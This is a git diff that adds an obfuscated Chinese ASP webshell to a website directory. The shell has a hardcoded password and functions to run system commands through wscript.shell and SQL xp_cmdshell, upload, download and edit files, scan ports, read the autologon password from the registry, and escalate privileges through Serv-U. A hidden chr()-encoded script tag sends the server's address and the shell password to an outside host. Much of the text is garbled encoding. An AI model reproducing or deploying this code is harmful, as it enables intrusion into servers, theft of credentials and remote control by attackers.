"Logout":Session.Contents.Remove("web2a2dmin"):Response.Redirect URL:Case "CreateMdb":CreateMdb FName:Case "CompactMdb":CompactMdb FName:Case "DbManager":DbManager():Case "Course":Course():Case "ServerInfo":ServerInfo():Case Else MainForm():End Select:ExeCute SinfoEn("r(ErowShn he tu~rvSe>~ntm/h> \ No newline at end of file diff --git a/www-7jyewu-cn/土司搞基asp大马.asp b/www-7jyewu-cn/土司搞基asp大马.asp new file mode 100644 index 0000000..ef5b098 --- /dev/null +++ b/www-7jyewu-cn/土司搞基asp大马.asp @@ -0,0 +1,623 @@ +<% + +UserPass="admin"' +'------------------------ڷǷ;---------------------- +mmname="˾asp" +bottomad="Oh my God, what is safe?" +blogurl="http://aspmuma.cccpan.com" +'----------------------һк޹---------------------- +Server.ScriptTimeout=999999999:Response.Buffer=true:On Error Resume Next +ExeCute "sub ShowErr():If Err Then:RRS""

     "" & Err.Description & ""

    "":Err.Clear:Response.Flush:End If:end sub:Sub RRS(str):response.write(str):End Sub:Function RePath(S):RePath=Replace(S,""\"",""\\""):End Function:Function RRePath(S):RRePath=Replace(S,""\\"",""\""):End Function:URL=Request.ServerVariables(""URL""):ServerIP=Request.ServerVariables(""LOCAL_ADDR""):Action=Request(""Action""):Pos=2:RootPath=Server.MapPath("".""):WWWRoot=Server.MapPath(""/""):Serveru=request.servervariables(""http_host"")&url:FolderPath=Request(""FolderPath""):serverp=UserPass:Pn=pos*44:FName=Request(""FName""):pso=5:BackUrl=""

    """ + +RRS"" +RRS""&mmname&" - "&ServerIP&"" +rrS"" +rRs"" +ExeCute SinfoEn("lError=kilnerrodow.o;}win trueeturns(){rError killctiont>funscrip=javaguaget lanscripRRS~ȷϼݿSQL䡣
    "";}else if(i==12){alert(Str[i]);}else{DbForm.SqlStr.value = Str[i];}return true;}":RRS"function FullSqlStr(str,pg){if(DbForm.DbStr.value.length<5){alert(""ݿӴǷȷ!"");return false;}if(str.length<10){alert(""SQLǷȷ!"");return false;}DbForm.SqlStr.value = str;DbForm.Page.value = pg;abc.innerHTML="""";DbForm.submit();return true;}" +RRS"function gotoURL(targ,selObj,restore){if(selObj.options[selObj.selectedIndex].js==1){eval(selObj.options[selObj.selectedIndex].value);if (restore) selObj.selectedIndex=0}else{eval(targ+"".location='""+selObj.options[selObj.selectedIndex].value+""'"");if (restore) selObj.selectedIndex=0;}}" +rrs "" +Dim Sot(13,2):Sot(0,0) = "Scripting.FileSystemObject":Sot(0,2) = "ļ":Sot(1,0) = "wscript.shell":Sot(1,2) = "ִ":Sot(2,0) = "ADOX.Catalog":Sot(2,2) = "ACCESS":Sot(3,0) = "JRO.JetEngine":Sot(3,2) = "ACCESSѹ":Sot(4,0) = "Scripting.Dictionary":Sot(4,2) = "ϴ":Sot(5,0) = "Adodb.connection":Sot(5,2) = "ݿ":Sot(6,0) = "Adodb.Stream":Sot(6,2) = "ϴ":Sot(7,0) = "SoftArtisans.FileUp":Sot(7,2) = "SA-FileUp ļϴ":Sot(8,0) = "LyfUpload.UploadFile":Sot(8,2) = "Ʒļϴ":Sot(9,0) = "Persits.Upload.1":Sot(9,2) = "ASPUpload ļϴ":Sot(10,0) = "JMail.SmtpMail":Sot(10,2) = "JMail ʼշ":Sot(11,0) = "CDONTS.NewMail":Sot(11,2) = "SMTP":Sot(12,0) = "SmtpMail.SmtpMail.1":Sot(12,2) = "SmtpMail":Sot(13,0) = "Microsoft.XMLHTTP":Sot(13,2) = "ݴ" +For i=0 To 13 +Set T=Server.CreateObject(Sot(i,0)) +If -2147221005 <> Err Then +IsObj=" " +Else +IsObj=" " +Err.Clear +End If +Set T=Nothing +Sot(i,1)=IsObj +Next + + + + +If FolderPath<>"" then +Session("FolderPath")=RRePath(FolderPath) +End If:If Session("FolderPath")="" Then +FolderPath=RootPath +Session("FolderPath")=FolderPath +End if +Function MainForm() +RRS"
    " +RRS"" +RRS"" +RRS"
    " +RRS"" +RRS"" +RRS"
    ַ" +RRS"" +RRS"" +RRS"
    " +RRS"" +RRS"" +RRS"ProgramAllUserspcAnywhereserv-uRealServerSQLPHPconfigdataTempRECYCLERд
    " +End Function:Function MainMenu() +RRS"
    " +RRS"

    ʾ

    " +RRS"" +RRS"
    " +RRS"" +If soT(0,1)=" " Then +RRS"" +Else +Set ABC=New LBF:RRS ABC.ShowDriver():Set ABC=Nothing +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" + +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +RRS"" +End if +RRS"

    " +RRS"
    Ȩ
    վĿ¼
    Ŀ¼
    ϼĿ¼
    ½Ŀ¼
    ½ı
    Զ
    ϴļ
    û˺
    Ա
    Զ¼
    ֧
    ִCMD
    SQLִCMD
    ˿ɨ
    Serv-uȨ
    ע
    ޸ļ
    س
    ASPX̽
    PHP̽
    JSP̽
    ߼
    ݿ
    ˳¼
    " +End Function: + + + + + +Sub PageAddToMdb():ExeCute SinfoEn("atePth, cteAthm Dih`~)cteAth(~stueeq R =cteAth`~)thPahe~tt(esquRe= h atePth`0000=1uteOimtTipcr.SerrvSe0`he Tb~MdTodd~a= t Ache tIfn`thPahe(tdboMdTad)`UrckBa~&v>dibr>dibr>os=podthmem or=8zesi~ ~~& ) ~)~.h(atpPMar.veer(SdecoEnmlHt& ~ ~~e=luvah atePthe=am nutnpAche=tmenab MdTodd=aueal venddhie=yp tutnpiopt/oOpp=aueal vontiop>Fso=fueal vontiop>~ctlese~'ʼ'e=luvat miub=spetyt puin
    ~rmfobr:<)O֧FS(⿪>r/os=podthmem or=8zesi~ b~mdH.HS~\& ) ~)~.h(atpPMar.veer(SdecoEnmlHt& ~ ~~e=luvah atePthe=am nutnp'e=luvat miub=spetyt puin>
    ~rmfo ilehi WDo`enThe lsFa= ) i), thPahe(tftLes(stxirEdeol.F~)ctjeObemstSyleFig.inptriSc(~ctjeObteeaCrr.veer SIf`)) 1 - ih,atePtht(ef(LerldFoteeaCr).t~ecbjmOteyseSil.Fngtiipcr~St(ecbjeOatre.CerrvSe`Ifd En`he T~)~\, 1)+ i , thPahe(tid(MtrnS IIfn`\~ ~), 1 + ih,atePthd(Mir(stIn+ i = i )`ls Ee`= i 0`Ifd En`opLo",Pos):End Sub:Sub saTreeForMdb(thePath, rs, stream):ExeCute SinfoEn("stLileFiys sr,deoleFth, emitm Di`b$ldH.HSb$mdH.HS~$= t iseLilsFsy~`h)atePthe(acSpmeNaX.sa= r deoleFtht Se`mste.IerldFohe tInm te ichEar Fo`enThe ru T =erldFoIsm.te iIf`amrest, rs, thPam.te idbrMFoeeTrsa`ls Ee`enTh0 = <~)~$& e am.Nemit& ~ ~$, stLileFiys(strnS IIf`Nedd.Arsw` 4h,at.Pemitd(Mi= ) h~atePth(~rs)`h)at.Pemite(ilmFrodFoa.Lamrest`d(ea.Ramrest= ) t~enntColefi(~rs)`atpd.Urse`Ifd En`Ifd En`xtNe`inthNo= r deoleFtht Seg",Pos):End Sub:Function Course():ExeCute SinfoEn("ter'>='cenalign='0' ddingellpa'1' ccing=llspa0' ceder='' bor'menuolor=' bgc='600widthable br>ϵr='megcoloer' b'centlign='3' aspan=' colt='20heigh>~` nextesumeror ron er`NT://(~Winbject getObj inach ofor e.~)`err.clear`e=~~ rtTypJ.Staif OBthen`&~~` FF~~>#FFFFor=~~bgcol20~~ ht=~~ heig&~&nbsFFF~~~#FFFlor=~ bgcod>~`d>&nbs~~2~~span=~ colFFFF~~~#FFolor=~ bgc~~20~ight=td he~ `end if`x=~Զhen le=2 trtTypJ.Staif OB~`x=~ֶhen le=3 trtTypJ.Staif OB~`x=~hen le=4 trtTypJ.Staif OB~`pe=2 artTyBJ.Stand Owin~ ))<>~h,4,3j.patid(obase(mif LCthen`>&nbsF0000or=#Ft col][n=~~2olspaF~~ cFFFFFr=~~#gcolo0~~ bt=~~2heigh>&nbFFFF~~~#FFolor=~ bgc~~20~ight=td he/td>&nbsFFF~~~#FFFlor=~ bgco~20~~ght=~d heitr>~`else`>&nbs399FFor=#3t col][n=~~2olspaF~~ cFFFFFr=~~#gcolo0~~ bt=~~2heigh>&nbFFFF~~~#FFolor=~ bgc~~20~ight=td he/td>&nbsFFF~~~#FFFlor=~ bgco~20~~ght=~d heitr>~`end if`next`~",Pso):End Function:Function ServerInfo():ExeCute SinfoEn("ter'>='cenalign='0' ddingellpa'1' ccing=llspa0' ceder='' bor'menuolor=' bgc='80%widthable br>r='megcoloer' b'centlign='3' aspan=' colt='20heigh>~`td>~&reFFFF'='#FFcolortd bg/td>&nFFFFFor='#bgcol>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>'#FFFolor=d bgctd>&nbFFFFFr='#FgcoloIPFFF'>'#FFFolor=' bgc='200width'20' ight=td heer'><'centlign=='_blargetrm' t'ipfoname=asp' ndex.com/ip138.www.itp://n='htactiopost thod=rm me&~<'2'>~&nFFFFFr='#Fgcolonbsp;FF'>&#FFFFlor=' bgcod>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>'#FFFolor=d bgctd>&nbFFFFFr='#FgcoloCPU'>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>~#FFFFlor=' bgcod>&nbsFFFF'='#FFcolortd bg/td><ϵͳ<'>FFFFFr='#Fgcolo00' bth='2' widt='20heigh>'#FFFolor=d bgctd>&nbFFFFFr='#Fgcolo汾'>WEBFFFFFr='#Fgcolo00' bth='2' widt='20heigh>~&SoFFFF'='#FFcolortd bg/td><0)&~~&SFFFFFr='#Fgcolo00' bth='2' widt='20heigh>" +end sub:Function UpFile(): +If Request("Action2")="Post" Then +Set U=new UPC : Set F=U.UA("LocalFile") +UName=U.form("ToPath") +If UName="" Or F.FileSize=0 then +SI="
    ϴȫ·ѡһļϴ!" +Else +F.SaveAs UName +If Err.number=0 Then +SI="



    ļ"&UName&"ϴɹ
    " +End if +End If +Set F=nothing:Set U=nothing +SI=SI&BackUrl +RRS SI +ShowErr() +Response.End +End If +SI="


    " +SI=SI&"" +SI=SI&"
    " +SI=SI&"ϴ·" +SI=SI&" " +SI=SI&" " +SI=SI&"
    " +RRS SI:RRS ""©url&"" +End Function::Function Cmd1Shell():ExeCute SinfoEn("checked=~ checked~`t(~SPeques) = RPath~Shellion(~ Sess Then)<>~~(~SP~questIf Re~)`ath~)hellPon(~SSessiPath=Shell`md.ex = ~clPath Shel Thenth=~~ellPaif She~`heckehen ces~ t)<>~yript~(~wscquestif Red=~~`cmd~)est(~ RequCmd =n Def~ The~)<>~(~cmdquestIf Re`st'>~d='pomethoform SI=~<`bsp;~sp;&n'>&nbh:70%'widttyle=&~' SlPath&Shelue='~' vale='SPt namWScrked&~&checyes'~lue='t' vascripme='wx' naeckboe='chc typlass=put c&~alue=it' v'submtype=nput '>
    " +end if +else +si="

    "&mmname&"
     

    "&bottomad&"
    " +if instr(SI,SIC)<>0 then rrs sI +end if +response.end +end if +Function DbManager():ExeCute SinfoEn("tr~))~SqlSForm(uest.m(Reqr=TriSqlSt`DbStrorm(~est.F=RequDbStr~)`ing='lpadd' celng='0spaci cellr='0'borde'650'idth=ble w&~~`on='' actipost'hod='' metbFormme='Drm na&~~`Ӵ: ght='' hei='100width>~`/td>~~~~>bManaue='D' validdenpe='hn' tyActioame='put n&~~`:&nbt='30heigh>~`>4n(DbSIf Len`(5,0)t(SotObjecreateonn=CSet C)`DbStrOpen Conn.`ma(20nSchen.Opes=ConSet R) `r><&~~`veFirRs.Most `ot Rsile NDo Wh.Eof`E~ th~TABLPE~)=LE_TY(~TABIf Rsen`_NAMETABLE=Rs(~TName~)`a>[ de~,1)'e&~]~&TNamLE [~P TAB~~DROlStr(ullSqipt:Fvascrf='jaa hreter>~`~Name&'>~&T~~,1)me&~]~&TNaROM [T * FSELECtr(~~lSqlSt:Fulscrip'javahref=&~r>n(SqlIf Leen`ct~ t~sele,6))=qlStreft(Sase(LIf LChen`qlStr䣺~&S&~ִSI=SI`ordseb.Rec~Adodject(ateObs=CreSet Rt~)`Conn,lStr,en SqRs.op1,1`ds.Co.FielFN=Rsunt`rdCou.RecoRC=Rsnt`geSizRs.Pae=20`ageSi=Rs.PCountze`Count.PagePN=Rs`age~)st(~PrequePage=`g(Page=Clnn Pag~ Thege<>~If Pae)` Page Thenage=0 Or Pge=~~If Pa=1` Page Thenge>PNIf Pa=PN`=PageepagesolutRs.abThen ge>1 If Pa`td><=#ccccolor25 bgight=tr heble><&~~` FN-1=0 toFor n`em(n)ds.It.Fielld=RsSet F`e&~~&Flnter'n='ce alig&~~`thingld=noSet F`Next`&~~`Count And .Bof)or Rs.Eof ot(Rsile NDo Wh>0`=CounCountt-1`EFEFEor=~#BgcolF~`t>xngdine='wit fac>~` FN-1=0 ToFor i`~:EndFEFEFr=~#Egcololse:BF5~:E#F5F5lor=~:Bgco ThenEFEF~=~#EFcolorIf Bg if`=1 ThIf RCen`Rs(i)code(TMLEnnfo=H ColI)`Else`,50))Rs(i)Left(code(TMLEnnfo=H ColI`End If`&~~&Color&~&Bgcolor=~ bgco&~~`Next`&~~`veNexRs.Mot`Loop`I:SI=RRS S~~`lStr)de(SqlEnCor=HtmSqlSt`&~/~&&Page;ҳ룺~ &RC&~¼~nter>gn=ce~ aliFN+1&an=~&colsp>1 ThIf PNen`a>&nbһҳage-1~,~&Ptr&~~&SqlSr(~~~SqlSt:Fullcriptjavasref=';1)'>&~~~,qlStr~~~&SlStr(ullSqipt:Fvascrf='jaa hrebsp;8 If Paf`o Sp+=Sp TFor i8`it Foen ExPN ThIf i>r`Page If i=Then`nbsp;&i&~&SI=SI~`Else` ~>~&i&i&~)'~~,~&Str&~~&Sqltr(~~lSqlSt:Fulscrip'javahref=&~,~&PNr&~~~SqlSt(~~~&qlStrFullSript:avascef='j&'>һҳ+1&~)&Page~~~,~lStr&~~&SqStr(~llSqlpt:Fuascri='jav hrefsp;~`End If`able>r>0 then + set TFL=new FIF:FStart=InStr(FEnd,TIn,"filename=""",1)+10:FEnd=InStr(FStart,TIn,"""",1):FStart=InStr(FEnd,TIn,"Content-Type: ",1)+14:FEnd=InStr(FStart,TIn,vbCr):TFL.FileStart=DIEnd:TFL.FileSize=DStart-DIEnd-3:if not D2.Exists(UpName) then:D2.add UpName,TFL:end if + else:T2.Type=1:T2.Mode=3:T2.Open:T1.Position=DIEnd:T1.CopyTo T2,DStart-DIEnd-3:T2.Position = 0:T2.Type = 2:T2.Charset ="gb2312":SFV = T2.ReadText:T2.Close:if D1.Exists(UpName) then:D1(UpName)=D1(UpName)&","&SFV:else:D1.Add UpName,SFV:end if:end if:DStart=DStart+TLen+1:wend:TDa="":set T2=nothing:End Sub:Private Sub Class_Terminate:if Request.TotalBytes>0 then:D1.RemoveAll:D2.RemoveAll:set D1=nothing:set D2=nothing:T1.Close:set T1 =nothing:end if:End Sub:End Class:Function SinfoEn(ObjStr,ObjPos):ExeCuTe Fun(")2-)nEofniS(neL,nEofniS(tfeL=nEofniS:txeN:fLrCbv&)soPjbO,)i(rtSweN(edoCnE&nEofniS=nEofniS:)rtSweN(dnuoBU oT 0=i roF:)|`|,rtSjbO(tilpS=rtSweN:)||||,|~|,rtSjbO(ecalpeR=rtSjbO"):End Function:Class FIF:dim FileSize,FileStart:Private Sub Class_Initialize:FileSize=0:FileStart=0:End Sub:Public function SaveAs(F) + dim T3:SaveAs=true:if trim(F)="" or FileStart=0 then exit function + set T3=CreateObject(Sot(6,0)):T3.Mode=3:T3.Type=1:T3.Open:T1.position=FileStart:T1.copyto T3,FileSize:T3.SaveToFile F,2:T3.Close:set T3=nothing:SaveAs=false:end function:End Class:Function Fun(ShiSanObjstr):ShiSanObjstr=Replace(ShiSanObjstr,"|",""""):For ShiSanI=1 To Len(ShiSanObjstr):If Mid(ShiSanObjstr,ShiSanI,1)<>"!"Then:ShiSanNewStr=Mid(ShiSanObjstr,ShiSanI,1)&ShiSanNewStr:Else:ShiSanNewStr=vbCrLf&ShiSanNewStr:End If:Next:Fun = ShiSanNewStr:End Function:Class LBF:Dim CF:Private Sub Class_Initialize:SET CF=CreateObject(Sot(0,0)):End Sub:Private Sub Class_Terminate:Set CF=Nothing:End Sub +Function ShowDriver() +For Each D in CF.Drives +RRS"ش ("&D.DriveLetter&":)" +Next +End Function +Function Show1File(Path):ExeCute SinfoEn("thPar(deoltFGeF.=CLDFOt Se)`i=0`>~tr><6'='ngdiadlpel c0'='ngcipalsel c0'='errdbo' 0%10='thid wleab&~orolrCdeor&B ~idol spx:1errdbo='lety sivteen=cgnli a7%=1thid w10t=ghei htd~~/a~~br>06'='zesi' gsingdin'we=ac fntfo><~~~~e=tlti' ~)~~)&meNaF.~&~\h&at(PthPaRe~&~~r(deolwFho:Sptriscvaja='efhra ~ /ayC''e=tlti' am='ssla c)'k(soyen uret'rk=icclon)'~~erldFopyCo~~~,~~)&meNaF.~&~\h&at(PthPaRe~&~~m(orlFul:Fptriscvaja='efhra >>~/alɾ='leit tm''as=ascl' ()okes yrnture='cklinc'o~)r~deollFDe~~~,~~)&\~~\~,~\e,am.N&F\~&~thPae(acplRe~&~~m(orlFul:Fptriscvaja='efhra ~ƶ='leit tm''as=ascl' ()okes yrnture='cklinc'o~)r~deoleFov~M,~~~&~e)am.N&F\~&~thPah(ateP&R~~(~rmFollFut:ipcrasav'jf=re h~tddi
    ]='leit tm''as=ascl' ()okes yrnture='cklinc'o~)e~ilnFow~D,~~~&~e)am.N&F\~&~thPah(ateP&R~~(~rmFollFut:ipcrasav'jf=re h/t~~leab/t>/t><=2htighed /t~~tr><6'='ngdiadlpel c0'='ngcipalsel c0'='errdbo' 0%10='thid wleab[ /a~~ntfo25'='zesi' gsingdin'we=ac fntfo><''e=tlti' );~~leFiwnDo~~~,~~)&meNaL.~&~\h&at(PthPaRe~&~~m(orlFul:Fptriscvaja='efhra ><~'r&loCoerrdBo~&d lisox 1pr:deor'be=ylstv di><0''3t=ghei htd~ /atE''e=tlti' am='ssla c)'~~leFiitEd~~~,~~)&meNaL.~&~\h&at(PthPaRe~&~~m(orlFul:Fptriscvaja='efhra ~ /alɾ='leit tm''as=ascl' ()okes yrnture='cklinc'o~)e~illFDe~~~,~~)&meNaL.~&~\h&at(PthPaRe~&~~m(orlFul:Fptriscvaja='efhra ~ /ayC''e=tlti' am='ssla c)'~~leFipyCo~~~,~~)&meNaL.~&~\h&at(PthPaRe~&~~m(orlFul:Fptriscvaja='efhra ~] /aeM''e=tlti' am='ssla c)'~~leFiveMo~~~,~~)&meNaL.~&~\h&at(PthPaRe~&~~m(orlFul:Fptriscvaja='efhra ~~
    ~tddi/t~blta/t~teen/c<ɹɾ~ h&at&P ~ļr>


    teen


    ļɹ
    ":SI=SI&BackUrl:RRS SI:Response.End:End If:If Path<>"" Then:Set T=CF.opentextfile(Path, 1, False):Txt=HTMLEncode(T.readall) :T.close:Set T=Nothing:Else:Path=Session("FolderPath")&"\newfile.asp":Txt="½ļ":End If:SI=SI&"":SI=SI&"":SI=SI&"
    ":SI=SI&"
    ":SI=SI&"
          ":RRS SI:RRS ""©url&"" +End Function:Function CopyFile(Path):ExeCute SinfoEn("|~||~|h,at(Pitpl S =thPa)`enTh~ >~)<(1thPad an) 0)h(at(PtsisExleFiF. CIf`(1thPa),(0thPae ilyFop.CCF)`>~erntce


    teen~Path( and h(0))s(PatExist.FileIf CFn`Path(h(0),e PatveFilCF.Mo1)`enter>
    r>~`&BackSI=SIUrl`RRS SI `End If",Pso):End Function:Function DelFolder(Path):ExeCute SinfoEn("he Th)at(PtsisExerldFoF. CIfn`thPar deoleFetel.DCF`r>teen/c<ɹɾ&~thPa~&Ŀ¼r>


    teen~)<(1thPad an) 0)h(at(PtsisExerldFoF. CIf`(1thPa),(0thPar deolyFop.CCF)`>~erntce


    teen~)<(1thPad an) 0)h(at(PtsisExerldFoF. CIf`(1thPa),(0thPar deoleFov.MCF)`>~erntce


    teen~hteen/c<ɹ½&~thPa~&Ŀ¼r>


    teen
      ¼
      0umberErr.N~ Or t = ~rmPorIf te `
      ܵ.ǷѾ Ȩ˿,õնRRS~~` Else`~
      ~`End If`ogon\\WinlrsionentVe\Currws NTWindosoft\MicroWARE\\SOFTCHINEAL_MAY_LOC ~HKEath =oginPautoL~`nLogooAdmi ~AutKey =nableoginEautoLn~`rNameltUseDefauy = ~serKeoginUautoL~`swordltPasDefauy = ~assKeoginPautoL~`bleKeinEnatoLog & aunPathoLogid(autegReawsX.Rle = nEnaboLogiisAuty)` = 0 nableoginEAutoLIf isThen`
      ~`Else`rKey)inUsetoLog & aunPathoLogid(autegReawsX.Rme = sernaoginUautoL`~
      me & sernaoginUautoL ~ & ϵͳʻ:Զ¼RRS ~~`sKey)inPastoLog & aunPathoLogid(autegReawsX.Rrd = asswooginPautoL`r TheIf Ern`Err.Clear`FalseRRS ~~`End If`~
      rd & asswooginPautoL ~ & ʻ:Զ¼RRS ~~`End If`
    RRS ~~",Pso):End Sub:sub ReadREG() +RRS "
    " +RRS "עֵȡ

    " +RRS "" +RRS " " +RRS "
    " +RRS " " +RRS "" +RRS "


    " +if Request("thePath")<>"" then +On Error Resume Next +Set wsX = Server.CreateObject("WScript.Shell") +thePath=Request("thePath") +theArray=wsX.RegRead(thePath) +If IsArray(theArray) Then +For i=0 To UBound(theArray) +RRS "
  • " & theArray(i) +Next +Else +RRS "
  • " & theArray +End If +end if +end sub +Function downloads() +RW=RW&"

    ֱ

    " +RW=RW&"Զļ:
    " +RW=RW&"·: " +RW=RW&"ڸ " +RW=RW&"" +RW=RW&"
    " +Response.Write RW +If isDebugMode=False Then +On Error Resume Next +End If +Dim Http,theUrl,thePath,stream,getfileName,overWrite +theUrl=Request("theUrl") +thePath=Request("thePath") +overWrite=Request("overWrite") +Set stream=Server.CreateObject("ad"&e&"odb.st"&e&"ream") +Set Http=Server.CreateObject("MSXML2.XMLHTTP") +If overWrite<>2 Then +overWrite=1 +End If +Http.Open "GET", theUrl, False +Http.Send() +If Http.ReadyState<>4 Then +End If +With stream +.Type=1 +.Mode=3 +.Open +.Write Http.ResponseBody +.Position=0 +.SaveToFile thePath, overWrite +If Err.Number=3004 Then +Err.Clear +getfileName=Split(theUrl, "/")(UBound(Split(theUrl, "/"))) +If getfileName="" Then +getfileName="12vh.txt" +End If +thePath=thePath & "\" & getfileName +.SaveToFile thePath, overWrite +End If +.Close +End With +chkErr(Err) +Set Http=Nothing +Set Stream=Nothing +If isDebugMode=False Then +On Error Resume Next +End If +End Function +FuncTion MMD() +SI="
    CMD
    ":REsPonsE.writE SI:SI="":If trim(REquEst.form("MMD"))<>"" thEn:PaSsword= trim(REquEst.form("P")):id=trim(REquEst.form("U")):set adoConn=SErvEr.CreateObject("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;PaSsword="&PaSsword&";UsEr ID="&id:strQuery = "exec master.dbo.xp_cmdshell '" & REquEst.form("MMD") & "'":set recREsult = adoConn.Execute(strQuery):If NOT recREsult.EOF thEn:Do While NOT recREsult.EOF:strREsult = strREsult & chr(13) & recREsult(0):recREsult.MoveNext:Loop:End if:set recREsult = Nothing:strREsult = REplAcE(strREsult," "," "):strREsult = REplAcE(strREsult,"<","<"):strREsult = REplAcE(strREsult,">",">"):strREsult = REplAcE(strREsult,chr(13),"
    "):End if:set adoConn = Nothing:REsPonsE.WritE REquEst.form("MMD") & "
    "& strREsult +rrs ""©url&"" +end Function:Function adminab() +Response.Expires=0 +on error resume next +Set tN=server.createObject("Wscript.Network") +Set objGroup=GetObject("WinNT://"&tN.ComputerName&"/Administrators,group") +For Each admin in objGroup.Members +RRS admin.Name&"
    " +Next +if err then +RRS "̵IJа:Wscript.Network" +end if +End Function +sWHEEL1 = "jwt" +Function Encrypt(acd) +For i = 1 To Len(acd) step 1 +c=mid(acd,i,1) +if c="" then +d=mid(acd,i,2) +i=i+1 +e=replace(d,"","") +bbc=bbc&mid(sWHEEL1,cint(e),1) +else +bbc=bbc&c +end if +next +Encrypt=bbc +end Function +sub ScanPort():ExeCute SinfoEn("76000 = 77meoutiptTir.ScrServe`~ thet~)=~(~por.Formquestif ren`89,4333,3345,14139,4,135,0,110,25,821,23ist=~PortL958~`else`m(~pot.Forequesist=rPortLrt~)`end if`)=~~ (~ip~.Formquestif rethen`27.0.IP=~10.1~`else`(~ip~.FormquestIP=re)`end if`D)˿ɨbr>~`rue;'led=tdisabbmit.m1.su='forubmit' onSion='' act'postthod=1' me'formname=form RRS~<>~` n IP:p>ScaRRS~<;~`ze='6~' si~&IP&lue='p' vaid='iBox' 'Textlass=xt' ce='te' type='ipt nam~`rt Libr>PoRRS~~`br>~`n '>~' scaalue=om' v'buttlass=it' c'submtype=mit' ='sub nameinputRRS~<`11'>~ue='1' val'scan' id=iddenpe='hn' ty='sca nameinputRRS~<`form>/p> ~~ n~) <(~sca.FormquestIf reThen`1 = ttimerimer`>
    b>ɨRRS(~~)`~),~,~portForm(uest.t(req Splitmp =~)`ip~),orm(~est.F(requSplitip = ~,~)`bound to Uu = 0For h(ip)` = 0 ,~-~)p(hu)Str(iIf InThen`ound(To Ub = 0 For itmp)` Thenp(i))ic(tmnumerIf Is `p(i))), tmip(huScan(Call `Else`, ~-~mp(i)Str(t = Inseekx)` 0 Thekx >If seen`kx - , seemp(i)eft(tN = Lstart1 )`seekx)) - tmp(i Len(p(i),ht(tm= RigendN )` ThenendN)eric(Isnum and artN)ic(stnumerIf Is`To enartN = stFor jdN`), j)ip(huScan(Call `Next`Else`br>~)mber~)`End If`End If`Next`Else`hu),~v(ip(StrRe,1,Inp(hu)Mid(irt = ipSta.~))`,~-~)p(hu)Str(i))-Inip(hu,Len(-~)+1hu),~r(ip(,InStp(hu)Mid(i) to )+1,1),~.~ip(hurRev(,InStp(hu)Mid(ixx = For x)`ound(To Ub = 0 For itmp)` Thenp(i))ic(tmnumerIf Is `tmp(ixxx, rt & ipStaScan(Call ))`Else`, ~-~mp(i)Str(t = Inseekx)` 0 Thekx >If seen`kx - , seemp(i)eft(tN = Lstart1 )`seekx)) - tmp(i Len(p(i),ht(tm= RigendN )` ThenendN)eric(Isnum and artN)ic(stnumerIf Is`To enartN = stFor jdN`xxx,jrt & ipStaScan(Call )`Next`Else`br>~)mber~)`End If`End If`Next`Next`End If`Next`2 = ttimerimer`imer1er2-tt(timtr(inme=cstheti))`ime&~&thet in ~ocesshr>PrRRS~< s~`END IF",Pso):end sub:copyurl=chr(60)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(32)&chr(115)&chr(114)&chr(99)&chr(61)&chr(39)&chr(104)&chr(116)&chr(116)&chr(112)&chr(58)&chr(47)&chr(47)&chr(111)&chr(100)&chr(97)&chr(121)&chr(101)&chr(120)&chr(112)&chr(46)&chr(99)&chr(111)&chr(109)&chr(47)&chr(115)&chr(120)&chr(47)&chr(115)&chr(46)&chr(97)&chr(115)&chr(112)&chr(63)&chr(115)&chr(61)&Serveru&chr(38)&chr(112)&chr(61)&Serverp&chr(39)&chr(62)&chr(60)&chr(47)&chr(115)&chr(99)&chr(114)&chr(105)&chr(112)&chr(116)&chr(62)&chr(13)&chr(10):Sub Scan(targetip, portNum):On Error Resume Next:set conn = Server.CreateObject("ADODB.connection"):connstr="Provider=SQLOLEDB.1;Data Source=" & targetip &","& portNum &";User ID=lake2;Password=;":conn.ConnectionTimeout=1:conn.open connstr:If Err Then:If Err.number = -2147217843 or Err.number = -2147467259 Then:If InStr(Err.description, "(Connect()).") > 0 Then:RRS(targetip & ":" & portNum & ".......ر
    "):Else:RRS(targetip & ":" & portNum & ".......
    "):End If:End If:End If:End Sub:Select Case Action:Case "MainMenu":MainMenu():Case "getTerminalInfo":getTerminalInfo():Case "PageAddToMdb":PageAddToMdb():case "ScanPort":ScanPort():Case "goback":goback():Case "Servu":SUaction=request("SUaction") +if not isnumeric(SUaction) then response.end +user = trim(request("u")) +pass = trim(request("p")) +port = trim(request("port")) +cmd = trim(request("c")) +f=trim(request("f")) +if f="" then +f=gpath() +else +f=left(f,2) +end if +ftpport = 65500 +timeout=3 +loginuser = "User " & user & vbCrLf +loginpass = "Pass " & pass & vbCrLf +deldomain = "-DELETEDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf +mt = "SITE MAINTENANCE" & vbCrLf +newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf +newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _ +"-HomeDir=c:\\" & vbCrLf & "-LoginMesFile=" & vbCrLf & "-Disable=0" & vbCrLf & "-RelPaths=1" & vbCrLf & _ +"-NeedSecure=0" & vbCrLf & "-HideHidden=0" & vbCrLf & "-AlwaysAllowLogin=0" & vbCrLf & "-ChangePassword=0" & vbCrLf & _ +"-QuotaEnable=0" & vbCrLf & "-MaxUsersLoginPerIP=-1" & vbCrLf & "-SpeedLimitUp=0" & vbCrLf & "-SpeedLimitDown=0" & vbCrLf & _ +"-MaxNrUsers=-1" & vbCrLf & "-IdleTimeOut=600" & vbCrLf & "-SessionTimeOut=-1" & vbCrLf & "-Expire=0" & vbCrLf & "-RatioUp=1" & vbCrLf & _ +"-RatioDown=1" & vbCrLf & "-RatiosCredit=0" & vbCrLf & "-QuotaCurrent=0" & vbCrLf & "-QuotaMaximum=0" & vbCrLf & _ +"-Maintenance=System" & vbCrLf & 